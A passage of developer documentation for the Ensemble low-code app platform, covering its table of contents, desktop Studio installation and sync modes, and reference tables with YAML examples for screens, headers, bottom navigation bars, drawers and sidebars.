tech-debt incured by using these technologies. + +![architecture](public/images/architecture.png) + +## How do I build my app? + +Ensemble provides a browser-based IDE, [Ensemble Studio](https://studio.ensembleui.com), where you can build, test, and publish your apps all from the browser. You can instantly preview your Ensemble apps on iOS and Anrdoid devices using [Ensemble preview app](#preview-your-app). Once ready to publish, Ensemble automatically push your apps to Apple AppStore and Google PlayStore. For web, you can download a web build and host it on any service. + +## Need help? + +[Chat with us on Discord](https://discord.gg/cEHkJTmn75) + +[Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) + +[Drop us an email](mailto:hello@ensembleui.com) + +## Table of Contents + +- [Studio overview](#studio-overview) +- **Desktop App** + - [Ensemble Studio Desktop App](#ensemble-studio-desktop-app) +- **Screens and Widgets** + - [Ensemble Screen Structure](#ensemble-screen-structure) + - [Layouts](#layouts) + - [Screen Navigation](#screen-navigation) + - [Widgets Directory](#widgets-directory) +- [Script with JavaScript](#script-with-javascript) +- **Apis** + - [Interact with APIs](#interact-with-apis) + - [Define APIs](#define-apis) + - [Invoking APIs, aka calling APIs](#invoking-apis-aka-calling-apis) + - [Access API response body and headers](#access-api-response-body-and-headers) + - [onError](#onerror) + - [Binding APIs to Item Templates](#binding-apis-to-item-templates) + - [Mocking API responses to develop and test your app](#mocking-api-responses-to-develop-and-test-your-app) + - [Chaining APIs](#chaining-apis) + - [SSL Configuration](#ssl-configuration) + - [GraphQL](#graphql) + - [Using WebSockets](#using-websockets) +- **Theme and Styling** + - [Theme](#theme) + - [Animations in EnsembleUI](#animations-in-ensembleui) + - [Using Custom Fonts](#using-custom-fonts) + - [Splash Feedback (Touchable Opacity)](#splash-feedback-touchable-opacity) + - [Text scaling](#text-scaling) +- [Assets (images, videos, etc.)](#assets-images-videos-etc) +- [Persistent Local Storage](#persistent-local-storage) +- [App Settings](#app-settings) +- **Firebase** + - [Configuration of Firebase Project with Ensemble App](#configuration-of-firebase-project-with-ensemble-app) + - [Calling Cloud Firestore APIs](#calling-cloud-firestore-apis) +- [Translations](#translations) +- **Authentication** + - [Authentication](#authentication) + - [Social Sign In](#social-sign-in) + - [Setting up Authentication with Firebase](#setting-up-authentication-with-firebase) + - [Setting up Authentication with Auth0](#setting-up-authentication-with-auth0) +- **Moengage** + - [MoEngage Integration](#moengage-integration) +- [Adobe Analytics](#adobe-analytics) +- **Deep Link** + - [Setup Deeplink](#setup-deeplink) + - [Setup Deferred Deeplink](#setup-deferred-deeplink) +- **Extending Ensemble** + - [Embed Flutter screen in an Ensemble app](#embed-flutter-screen-in-an-ensemble-app) + - [Using local assets](#using-local-assets) +- **Concepts** + - [Understanding Widget Sizing](#understanding-widget-sizing) + - [Item Template](#item-template) + - [Data Binding](#data-binding) + - [Screen Lifecycle](#screen-lifecycle) + - [Custom Widgets](#custom-widgets) +- **Test** + - [Preview your app](#preview-your-app) + - [Automated Testing](#automated-testing) +- **Deploy** + - [Preparing your App for deployment](#preparing-your-app-for-deployment) + - [Configure Social Sign In for Deployment](#configure-social-sign-in-for-deployment) + - [Deploy to iOS TestFlight](#deploy-to-ios-testflight) + - [Connecting to OAuth services (Optional)](#connecting-to-oauth-services-optional) + - [Deploy to Android devices](#deploy-to-android-devices) + - [Deploy to Android Play Store](#deploy-to-android-play-store) + - [Prepare for Production](#prepare-for-production) + - [Making your app work when offline](#making-your-app-work-when-offline) + - [Guide: Generating Google Play Console API Key](#guide-generating-google-play-console-api-key) + - [Guide: Generating API Key for App Store Connect](#guide-generating-api-key-for-app-store-connect) + - [Guide: Generating a Firebase Service Account for App Distribution](#guide-generating-a-firebase-service-account-for-app-distribution) +- [Host and serve your app definition on your own server](#host-and-serve-your-app-definition-on-your-own-server) +- **Widgets** + - [Accordion Widget](#accordion-widget) + - [Avatar widget](#avatar-widget) + - [Button widget](#button-widget) + - [Calendar widget](#calendar-widget) + - [Carousel widget](#carousel-widget) + - [ChartJS widget](#chartjs-widget) + - [Checkbox widget](#checkbox-widget) + - [Column widget](#column-widget) + - [Conditional widget](#conditional-widget) + - [ConfirmationInput widget](#confirmationinput-widget) + - [DataGrid widget](#datagrid-widget) + - [Date widget](#date-widget) + - [Divider](#divider) + - [DropDown widget](#dropdown-widget) + - [FittedColumn (deprecated)](#fittedcolumn-deprecated) + - [FittedRow (deprecated)](#fittedrow-deprecated) + - [FlexColumn](#flexcolumn) + - [FlexRow](#flexrow) + - [Flex](#flex) + - [Flow](#flow) + - [Form widget](#form-widget) + - [GridView](#gridview) + - [HTML widget](#html-widget) + - [Icon widget](#icon-widget) + - [Finding supported icons and their library](#finding-supported-icons-and-their-library) + - [Image widget](#image-widget) + - [InlineTimePicker Widget](#inlinetimepicker-widget) + - [ListView](#listview) + - [LoadingContainer Widget](#loadingcontainer-widget) + - [Lottie Animation widget](#lottie-animation-widget) + - [Map widget](#map-widget) + - [Markdown widget](#markdown-widget) + - [Multi-Child Layout widgets](#multi-child-layout-widgets) + - [PasswordInput widget](#passwordinput-widget) + - [Profile Image Widget](#profile-image-widget) + - [Progress Indicator](#progress-indicator) + - [QRCodeScanner widget](#qrcodescanner-widget) + - [QR-Code widget](#qr-code-widget) + - [RadioButton](#radiobutton) + - [RadioGroup](#radiogroup) + - [ensemble.RatingStars widget](#ensembleratingstars-widget) + - [Row](#row) + - [Shape Widget](#shape-widget) + - [Signature Widget](#signature-widget) + - [Slidable Widget](#slidable-widget) + - [Slider Widget](#slider-widget) + - [Spacer](#spacer) + - [Stack](#stack) + - [Staggered Grid](#staggered-grid) + - [Switch widget](#switch-widget) + - [TabBar](#tabbar) + - [TextInput widget](#textinput-widget) + - [Text widget](#text-widget) + - [Time widget](#time-widget) + - [TripleSwitch widget](#tripleswitch-widget) + - [Type References](#type-references) + - [Video widget](#video-widget) + - [WebView widget](#webview-widget) + - [Youtube](#youtube) +- [Composite Widgets](#composite-widgets) +- **Actions** + - [authenticateByBiometric](#authenticatebybiometric) + - [BLE Client](#ble-client) + - [callExternalMethod](#callexternalmethod) + - [checkPermission](#checkpermission) + - [readKeychain](#readkeychain) + - [saveKeychain](#savekeychain) + - [clearKeychain](#clearkeychain) + - [closeAllDialogs](#closealldialogs) + - [connectWallet](#connectwallet) + - [copyToClipboard](#copytoclipboard) + - [Device Security](#device-security) + - [Actions](#actions) + - [dispatchEvent action](#dispatchevent-action) + - [executeActionGroup](#executeactiongroup) + - [executeCode](#executecode) + - [executeConditionalAction](#executeconditionalaction) + - [getLocation](#getlocation) + - [getNetworkInfo](#getnetworkinfo) + - [getPhoneContacts](#getphonecontacts) + - [invokeAPI](#invokeapi) + - [invokeHaptic](#invokehaptic) + - [logEvent](#logevent) + - [Action: navigateBack](#action-navigateback) + - [navigateModalScreen](#navigatemodalscreen) + - [navigateScreen](#navigatescreen) + - [navigateViewGroup](#navigateviewgroup) + - [notification](#notification) + - [onNavigateBack](#onnavigateback) + - [Action: onViewGroupResume](#action-onviewgroupresume) + - [Action: onViewGroupUpdate](#action-onviewgroupupdate) + - [openAppSettings](#openappsettings) + - [openCamera](#opencamera) + - [openPlaidLink](#openplaidlink) + - [openUrl](#openurl) + - [pauseAudio](#pauseaudio) + - [pickFiles](#pickfiles) + - [playAudio](#playaudio) + - [Pull To Refresh](#pull-to-refresh) + - [rateApp](#rateapp) + - [requestNotificationAccess](#requestnotificationaccess) + - [resumeAudio](#resumeaudio) + - [saveFile](#savefile) + - [seekAudio](#seekaudio) + - [getSecureStorage](#getsecurestorage) + - [setSecureStorage](#setsecurestorage) + - [clearSecureStorage](#clearsecurestorage) + - [Share](#share) + - [showBottomModal](#showbottommodal) + - [showDialog](#showdialog) + - [showNotification](#shownotification) + - [showToast](#showtoast) + - [startTimer](#starttimer) + - [stopAudio](#stopaudio) + - [stopTimer](#stoptimer) + - [takeScreenshot](#takescreenshot) + - [uploadFiles](#uploadfiles) +- **Utilities** + - [Formatter](#formatter) + - [Device](#device) +- **Device Capabilities** + - [checkPermission](#checkpermission) + - [getLocation](#getlocation) + - [getPhoneContacts](#getphonecontacts) + - [invokeAPI](#invokeapi) + - [invokeHaptic](#invokehaptic) + - [navigateBack](#navigateback) + - [navigateModalScreen](#navigatemodalscreen) + - [navigateScreen](#navigatescreen) + - [notification](#notification) + - [openCamera](#opencamera) + - [pickFiles](#pickfiles) + - [rateApp](#rateapp) + - [requestNotificationAccess](#requestnotificationaccess) + - [Share](#share) + - [showDialog](#showdialog) + - [showNotification](#shownotification) + - [uploadFiles](#uploadfiles) +- **Javascript Reference** + - [Add logic using JavaScript](#add-logic-using-javascript) + - [JavaScript Date](#javascript-date) + - [Ensemble Objects and their properties](#ensemble-objects-and-their-properties) + - [Exception Handling in Javascript](#exception-handling-in-javascript) + - [Defining and Re-using Javascript Code](#defining-and-re-using-javascript-code) + - [console.log](#consolelog) + - [JSON](#json) + - [JsonPath](#jsonpath) + - [Object](#object) + - [JavaScript Math](#javascript-math) + - [Number Functions](#number-functions) + - [String Functions](#string-functions) +- [AppInfo object](#appinfo-object) +- [Device object](#device-object) +- **Tips and Tricks** + - [Getting help from Ensemble team](#getting-help-from-ensemble-team) + - [Custom BottomNavBar item styling](#custom-bottomnavbar-item-styling) + - [Building responsive UIs](#building-responsive-uis) + - [Use device's camera for updating profile picture](#use-devices-camera-for-updating-profile-picture) + - [Inputs to ChartJs](#inputs-to-chartjs) + - [How to modify the BottomNavBar with custom styling and widgets](#how-to-modify-the-bottomnavbar-with-custom-styling-and-widgets) + - [Open Maps with Coordinates on Android and iOS](#open-maps-with-coordinates-on-android-and-ios) + - [Using navigate Screen with BottomNavBar](#using-navigate-screen-with-bottomnavbar) + - [Dynamic Color Modification in JavaScript](#dynamic-color-modification-in-javascript) + - [Configuring BottomNavBar Icons](#configuring-bottomnavbar-icons) + - [Invoke Haptics](#invoke-haptics) + - [Custom Lottie Animations with Events and Controls](#custom-lottie-animations-with-events-and-controls) + - [HTML Widget with maxLines Support and Enhanced Styling](#html-widget-with-maxlines-support-and-enhanced-styling) + - [Push Notification](#push-notification) + - [Using device width and height](#using-device-width-and-height) + - [Using BottomSafeArea for Responsive Layouts](#using-bottomsafearea-for-responsive-layouts) + - [Floating Button](#floating-button) + - [Creating an Avatar](#creating-an-avatar) + - [Cookies in Webview](#cookies-in-webview) + - [adding this timer here just so that we can delay closing the dialog](#adding-this-timer-here-just-so-that-we-can-delay-closing-the-dialog) + - [General Color for All Buttons across an App](#general-color-for-all-buttons-across-an-app) + - [Icon Without Label](#icon-without-label) + - [Profile Picture](#profile-picture) + - [Specify library icons for start and end](#specify-library-icons-for-start-and-end) + - [No Bounded Width Error](#no-bounded-width-error) + - [No Bounded Height Error](#no-bounded-height-error) + - [FlexRow No Bounded Width Error](#flexrow-no-bounded-width-error) + - [FlexColumn No Bounded Height Error](#flexcolumn-no-bounded-height-error) + +# Studio overview + +Ensemble Studio is where you can build, test, and publish apps. You can invite your team to collaborate on the same app. + +https://studio.ensembleui.com + +--- + +# Ensemble Studio Desktop App + +## When to use the desktop app + +1. If you wish to use your own git to store your app definition - this allows you to create branches and pull requests. +2. If you wish to work offline and without internet connection + +## Installation & Setup + +### Windows + +1. Download the Windows installer [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/win32/x64/ensemble-web-studio-x64.exe): + +2. Run the downloaded `.exe` file +3. Launch Ensemble Web Studio +4. **Note:** Microsoft Defender SmartScreen may display a warning +Step 1: You will see a "Windows protected your PC" message. +Step 2: Click "More info" text to reveal additional options. +Step 3: Click "Run anyway" button to proceed with the installation. +Once confirmed, the application will open. + +### macOS + +1. Download the macOS package [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/darwin/arm64/ensemble-web-studio-arm64.dmg): +2. Run the downloaded `.dmg` file +3. Move the application to your Applications folder +4. Launch Ensemble Studio + +## Environment Modes + +You can switch between Local and Development modes using the environment dropdown available on **home and every app page**: + +### Development Mode + +Development mode connects to the cloud environment: + +- Files are stored in Firebase +- Requires internet connection +- Changes are synchronized with other collaborators +- Suitable for real-time collaboration + +### Local Mode + +Local mode allows you to work completely offline with files stored on your local machine: + +- Files are stored in your system's user directory +- No internet connection required +- Changes are saved locally +- Connect the local folder to a git provider to create branches and pull requests +- Perfect for offline development or testing + +Local files location by operating system: + +- Windows: `%APPDATA%/ensemble-web-studio` +- macOS: `~/Library/Application Support/ensemble-web-studio` + +Note: + +- You can switch between modes at any time using the dropdown +- The selected mode affects where your changes are saved +- Each mode maintains its own version of the files +- Remember to use Pull/Push operations when you want to sync between modes + +## Synchronization + +### Pulling from Cloud to Local + +To work with an app locally: + +1. Launch the desktop application +2. Click on the `...` menu button on the app card you want to work with +3. Select "Pull App" from the context menu +4. Select the target directory and click the `Pull` Button +5. Wait for the pull to complete + +### Pushing Local Changes to Cloud + +To push your local changes back to the cloud: + +1. Launch the desktop application +2. Click on the `...` menu button on the app card you want to work with +3. Select "Push App" from the context menu +4. Wait for your changes to push on the cloud + +## Local File Structure + +When working in local mode, files are organized as follows: + +```directory +/ +├── assets/ +├── fonts/ +├── scripts/ +├── widgets/ +├── screens/ +├── translations/ +├── config/ +│ ├── appConfig.json +│ ├── secrets.json +├── theme.yaml +├── .manifest.json +``` + +Key location: + +- `manifest.json`: App configuration and settings + +## Additional Resources + +For more information or support, join the [Discord community](https://discord.gg/cEHkJTmn75) or refer to the official documentation. + +--- + +# Ensemble Screen Structure + +Ensemble apps are built using a collection of screens, along with reusable components like [widgets](#widgets-directory), [scripts](#defining-and-re-using-javascript-code), [assets](#assets-images-videos-etc), etc. This guide explores the core structure of an Ensemble screen and the elements that make it up. + +**Key Components of Screen:** +This section serves as a reference point for the key elements you'll encounter while creating a screen on Ensemble: + +- [View](#view): The fundamental building block for screen content and layout. +- [ViewGroup](#view-group): A container for managing and arranging multiple views. +- [Header](#header): Optional element for displaying titles, navigation, or controls at the top of the screen. +- [Menu](#menu): Optional element for user navigation within the app. +- [Body](#body): Main content area of a screen, typically containing widgets. +- [API](#api): The collection of functions and tools provided by Ensemble for building your app. +- [Global](#global): Elements or functionalities accessible across all screens in your app. + +Below is the overview of the basic components being arranged on the screen. + +

+Page Skeleton +

+ +## View Group + +The ViewGroup widget allows you to group multiple Views together and organize them behind a menu, such as a Drawer, EndDrawer, BottomNavBar, SideBar, or EndSidebar. This provides a convenient way to create structured layouts and navigation within your application. + +### Example + +Let's look at an example with a `Bottom Navigation Bar` menu type. + +```yaml +ViewGroup: + BottomNavBar: + styles: + backgroundColor: white + items: + - icon: search + label: Search + page: Home + - icon: assignment + label: Appointments + page: MyAppointments + - icon: list + label: My Doctors + page: MyDoctors + - icon: account_circle + label: Profile + page: Profile +``` + +##### Output + +

+BottomNavBar +

+ +> To get hands-on experience with View Group, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/3vEZBIhDyYnIQo6BLN2O/screen/Wewvp6ZUyb0PBwkTAltQ?propertyPanelEnabled=true&instantPreviewDisabled=false) + +## View + +The View widget defines the overall structure of a page, including properties like header, body and more, to create a cohesive layout and presentation within your application. View requires only body while other components like [header](#header) and [menu](#menu) are optional. + +#### Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| header | object | [details](#header) | +| body | object | [details](#body) | +| onLoad | action | Execute an Action from a set of pre-defined set of actions when the screen loads | +| onPause | action | Execute an Action when this screen is no longer active. This happens when another screen navigates on top of this screen, or when the App (Native only) is no longer in the foreground. | +| onResume | action | Execute an Action when this screen becomes active again from the inactive state. This happens when navigating back from another screen, or when the App (Native only) is brought back to the foreground. | +| options | string | Specify if this is a `regular` (default) or `modal` screen. | +| styles | object | [see properties](#viewstyles) | + +#### View.styles + +| Property | Type | Description | +| :--------------------- | :------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | [Color](#color) | Background color for the screen starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| backgroundImage | [BackgroundImage](#backgroundimage) | Background image of the View. | +| useSafeArea | boolean | Applicable only when we don't have a header. If true, insert paddings around the body content to account for the devices' Safe Area (e.g. iPhone notch). Default is false. | +| scrollableView | boolean | Specify if the content of this screen is scrollable with a global scrollbar. Using this also allows you to customize the scrolling experience of the header. | +| showNavigationIcon | boolean | For a screen with header, the App will automatically show the Menu, Back, or Close icon (for the modal screen) before the title. On the modal screen without the header, the Close icon will be shown. Set this flag to false if you wish to hide the icons and handle the navigation yourself. | +| navigationIconPosition | string | On modal screen without a header, you can position the close button at the `start` or `end` of the screen. For left-to-right languages like English, start is on the left and end is on the right. This property has no effect on a screen with header. | + +## Header + +The header contains the Safe Area (e.g. iPhone notch) and by default has the background color of your theme's primaryColor. It includes: + +1. `navigation icon`. If a drawer menu is used the system will automatically show an icon to open/close the drawer, otherwise if this page can navigate back to the previous page, the back arrow will be shown. If neither condition is true, the icon will not be visible, in which case the title will stretch to fill the entire horizontal space. +2. `title`. Its simplest form is a string which is the title text. You may override it with a custom widget. +3. `flexible background`. Specifies a widget that will fill the entire header (including the notch). This is typically used as a background for the header. This widget will be laid out first, with the navigation icon and the title overlay on top. + +#### Properties + +| Property | Type | Description | +| :----------------- | :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| titleText | string | The title for the screen | +| titleWidget | [Widget](#widget-directory) | Render this widget as the screen title | +| styles | object | [see properties](#headerstyles) | +| flexibleBackground | [Widget](#widget-directory) | This widget (typically used as an background image) acts as the header's background, with the title bar and the bottom widget overlaid on top. On non-scrollable screen, its dimensions is dictated by the header's width and height. | + +#### Header.styles + +| Property | Type | Description | +| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | [Color](#color) | By default the background color uses the theme's 'primary' color. You can override the header's background color here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| color | [Color](#color) | By default the navigation icon, title, and action icons uses the theme's 'onPrimary' color. You can override their colors here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | Raise the header on its z-coordinates relative to the body. This effectively creates a drop shadow on the header's bottom edge. Minimum value: 0, Maximum value: 24 | +| shadowColor | [Color](#color) | If elevation is non-zero, this will override the drop shadow color of the header's bottom edge, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| centerTitle | boolean | Whether to align the title in the title bar's center horizontally (default: true) | +| titleBarHeight | integer | For consistency, the header's title bar has the default fixed height of 56 regardless of its content. You may adjust its height here. Minimum value is `0` | +| flexibleMinHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's min height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). Note that this attribute will be ignored if smaller than the titleBarHeight | +| flexibleMaxHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's max height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). This attribute will be ignored if smaller than the flexibleMinHeight | +| animation | object | [see properties](#headerstylesanimation) | +| scrollMode | enum | Specify if header stays `pinned` or goes up `floating`, when page is scrolled up. | +> Note: When the entire View is specified as scrollable, flexible background's height can vary in height (hence flexible) on scroll with a parallax effect. + +#### Header.styles.animation + +| Property | Type | Description | +| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| enabled | boolean | Animation behaviour `true` or `false`. | +| duration | integer | Specify time in `milliseconds` for which animation must play. | +| curve | string | Specify animation curve like `easeIn` `easeOut` or `linear`. | +| animationType | enum | Specify animation type that'll play when scrolled such as `fade` or `drop`. default value: `drop`. | +## Menu + +Ensemble provides support for five menu types that offer extensive customization options, including the ability to add custom items which are indeed `custom widgets`. These menu types allow users to meet their unique design needs or client requirements. Below, you will find detailed information about each menu type, including the supported properties, styles, and illustrative examples for better understanding. + +### BottomNavBar + +This is the navigation bar at the bottom of the screen, typical of most iOS and Android apps. Where each item has several properties as explained [below](#bottomnavbaritems). + +#### BottomNavBar.Properties + +| Property | Type | Description | +| :------- | :--------------- | :------------------------------------------------------------------- | +| items | array of objects | List of menu items (minimum 2). [see properties](#bottomnavbaritems) | +| styles | object | [see properties](#bottomnavbarstyles) | + +#### BottomNavBar.items + +| Property | Type | Description | +| :---------------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | +| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | +| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | +| page | string | The new page to navigate to on click | +| selected | boolean | Mark this item as selected. There should only be one selected item per page. | +| visible | boolean | Mark this item as visible. Default is `true` | +| floating | boolean | Mark this item as a floating icon | +| floatingMargin | integer or string | The margin around the floating. | +| floatingAlignment | string | How to align the floating in the BottomNavBar. The values are ` left``center``right ` and `none` | +| color | [Color](#color) | Unselected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| selectedColor | [Color](#color) | Selected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| floatingBackgroundColor | [Color](#color) | Floating item background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| floatingIconColor | [Color](#color) | Floating item icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| customItem | object | Allows user to use custom widgets for two states `selected` and `UnSelected`. | + +##### BottomNavBar.items.customItem + +| Property | Type | Description | +| :------------- | :----------------- | :----------------------------------------------------- | +| widget | [Widget](#widget-directory) | Custom bottom navigation item for the unselected state | +| selectedWidget | [Widget](#widget-directory) | Custom bottom navigation item for the selected state | + +#### BottomNavBar.styles + +| Property | Type | Description | +| :-------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +#### Example + +```yaml +BottomNavBar: + styles: + backgroundColor: white + color: grey + selectedColor: orange + floatingBackgroundColor: orange + floatingIconColor: white + items: + - label: Home + activeIcon: home + icon: home + page: Home + + - customItem: + widget: CustomNavBarItem + selectedWidget: ActiveCustomNavBarItem + page: Icon + + - icon: note_add + floating: true + floatingAlignment: center + floatingMargin: 5 + onTap: | + //@code + ensemble.navigateScreen('Lottie'); + + - icon: search + label: Search + page: Image + visible: true + + - customItem: + widget: CustomNavBarItemWithImage + selectedWidget: ActiveCustomNavBarItemWithImage + page: WeeklyScheduler +``` + +This sippet has example for how user can utilize + +1. Custom widgets as items for the menu +2. Floating icons + +> To get hands-on experience with BottomNavBar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558). + +### Drawer + +This menu type puts the menu behind a drawer icon on the header. The drawer icon will be positioned to the 'start' of the header (left for most languages, right for RTL languages). The drawer can be controlled programmatically using the `openDrawer` and `closeDrawer` actions. + +#### Drawer.Properties + +| Property | Type | Description | +| :------- | :--------------- | :-------------------------------------------------------- | +| header | widget | Custom widget to be displayed at the top of the drawer | +| footer | widget | Custom widget to be displayed at the bottom of the drawer | +| items | array of objects | List of menu items. [see properties](#draweritems) | +| styles | object | [see properties](#drawerstyles) | + +#### Drawer.items + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------ | +| icon | string | Icon name from `Material Icons`, `Font Awesome`, `Remix` or custom font icons | +| activeIcon | string | Icon to display when the item is selected. Falls back to `icon` if not specified | +| iconLibrary | string | Specify icon library: `FontAwesome`, `Remix`, `Material Icons` or custom icon fonts | +| label | string | Text displayed next to the icon | +| page | string | The page to navigate to when clicked | +| selected | boolean | Mark this item as selected. Only one item should be selected per page | +| visible | boolean | Whether the item should be shown. Default is `true` | +| isClickable | boolean | Whether the item can be interacted with. Useful for section headers. Default is `true` | +| switchScreen | boolean | Whether to navigate to the specified page when clicked. Default is `true` | +| onTap | action | Custom action to execute when item is tapped. Executes before page navigation if `switchScreen` is true | +| customItem | object | Allows using custom widgets for menu items. [see properties](#draweritemscustomitem) | + +#### Drawer.items.customItem + +| Property | Type | Description | +| :------------- | :----- | :---------------------------------------- | +| widget | widget | Custom drawer item for the normal state | +| selectedWidget | widget | Custom drawer item for the selected state | + +#### Drawer.styles + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +#### Example + +```yaml +View: + header: + title: Drawer Example + leadingWidget: + Icon: + name: menu + onTap: + openDrawer: + menu: + Drawer: + styles: + backgroundColor: white + header: + Column: + styles: + height: 200 + padding: 16 + backgroundColor: "#1a1f2b" + children: + - Text: + text: "User Name" + styles: + textStyle: + color: white + fontSize: 24 + footer: + Column: + styles: + padding: 16 + backgroundColor: "#1a1f2b" + children: + - Text: + text: "App Version 1.0.0" + styles: + textStyle: + color: grey + + items: + # Section header (non-clickable) + - label: "Main Menu" + isClickable: false + + # Regular menu item + - label: "Home" + icon: home + page: home + + # Custom menu item + - customItem: + widget: CustomDrawerItem + page: settings + + # Item with custom action + - label: "Share App" + icon: share + switchScreen: false + onTap: + closeDrawer: +``` + + +You can program either drawer using these actions: +- `openDrawer`: Opens the drawer programmatically +- `closeDrawer`: Closes the currently open drawer + +The drawer can be opened/closed from any widget's `onTap` or other action handlers: + +```yaml +Button: + label: Open Menu + onTap: + openDrawer: +``` + +> Note: Only one drawer (either Drawer or EndDrawer) can be open at a time. If both drawer types are configured, the app-level drawer takes precedence over screen-level drawers. + +##### Output + +

+Page Skeleton +Page Skeleton +

+ +> To get hands-on experience with Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/0073ebe9-6b0b-4ebf-9e8b-72a93a1275df#) + +### End Drawer + +Similar to Drawer but the drawer icon will be positioned to the 'end' of the header (right for most languages, left for RTL languages). You can check its properties [here](#drawerproperties). + +> To get hands-on experience with End Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/YIcCi9aXiGJKftQRNi34#) + +### SideBar + +A fixed navigation menu to the 'start' of the screen (left for most languages, right for RTL languages). The menu may become a drawer menu on lower resolution or screen sizes. + +#### Sidebar.Properties + +| Property | Type | Description | +| :------- | :--------------- | :-------------------------------------------------------------- | +| header | widget | The header widget for the menu | +| footer | widget | The footer widget for the menu | +| items | array of objects | List of menu items (minimum 2). [see properties](#sidebaritems) | +| styles | object | [see properties](#sidebarstyles) | + +#### Sidebar.items + +| Property | Type | Description | +| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------- | +| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | +| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | +| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | +| page | string | The new page to navigate to on click | +| selected | boolean | Mark this item as selected. There should only be one selected item per page. | +| visible | boolean | Mark this item as visible. Default is `true` | + +#### Sidebar.styles + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color 